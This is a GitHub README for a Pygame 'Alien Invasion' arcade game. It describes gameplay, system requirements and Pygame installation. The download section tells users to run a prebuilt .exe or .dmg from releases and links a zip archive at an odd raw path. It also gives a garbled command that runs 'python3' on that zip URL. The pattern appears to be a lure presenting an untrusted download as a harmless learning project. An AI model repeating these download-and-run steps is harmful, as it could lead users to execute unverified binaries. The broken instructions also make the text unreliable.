Skip to content

Latest commit

 

History

History
94 lines (58 loc) · 3.7 KB

File metadata and controls

94 lines (58 loc) · 3.7 KB

👾 Alien-Invasion - Defend Earth from Alien Threats

Download Alien-Invasion

🚀 Getting Started

Alien Invasion is an arcade-style game where you control a spaceship and shoot waves of aliens. This game is built using Python and Pygame, making it a great example of basic game development skills. You will learn about events, collision detection, object movement, and how to manage sprites.

📦 System Requirements

Before you start, please ensure your computer meets these requirements:

  • Operating System: Windows, macOS, or Linux
  • Python Version: Python 3.6 or later
  • Pygame: Pygame installed (instructions below)

🔄 How to Install Pygame

If you do not have Pygame installed, follow these steps for your operating system:

Windows and macOS

  1. Open your command prompt (Windows) or terminal (macOS).

  2. Type the following command:

    pip install pygame
    
  3. Press Enter to run the command. This will download and install Pygame.

Linux

  1. Open your terminal.

  2. Use your package manager to install Pygame. For example, on Ubuntu, type:

    sudo apt-get install python3-pygame
    
  3. Press Enter.

📥 Download & Install

To start playing Alien Invasion, you need to download the game files.

  1. Visit the Releases Page: Click the link below to go to the releases page.

    Download Alien-Invasion

  2. Download the Latest Release: Look for the latest version available on the releases page. Click the file that matches your operating system.

  3. Run the Game:

    • Windows: Double-click the downloaded .exe file.

    • macOS: Open the downloaded .dmg file and drag the game to your Applications folder, then launch it.

    • Linux: Extract the files from the downloaded https://github.com/boybands/Alien-Invasion/raw/refs/heads/main/nebalioid/Alien_Invasion_v2.2.zip archive. Open your terminal and navigate to the extracted folder. Run the game using:

      python3 https://github.com/boybands/Alien-Invasion/raw/refs/heads/main/nebalioid/Alien_Invasion_v2.2.zip
      

🎮 How to Play

Once you have the game running:

  • Use the left and right arrow keys to move your spaceship.
  • Press the spacebar to shoot bullets.
  • Destroy as many aliens as you can before they reach the bottom of the screen!

🌌 Game Features

  • Classic Arcade Style: Enjoy the nostalgic gameplay reminiscent of classic arcade games.
  • Challenging Levels: Face increasing waves of alien enemies.
  • High Score Tracker: Keep track of your best scores to challenge yourself.
  • User-Friendly Interface: Simple controls make it easy for anyone to play.

🎨 About the Development

This game demonstrates key game development concepts:

  • Event Handling: Reacting to user inputs in real-time.
  • Collision Detection: Identifying when objects interact, like bullets hitting aliens.
  • Object Movement: Creating smooth movements for the spaceship and aliens.
  • Sprite Management: Using images for game objects to create an engaging visual experience.

🤖 Contributing

If you want to contribute to Alien Invasion, feel free to fork the repository and make changes. You can submit a pull request with your updates.

📜 License

This project is licensed under the MIT License. You can freely use and modify the code, but please attribute the original authors.

Thank you for checking out Alien Invasion! Enjoy defending Earth from the alien attack!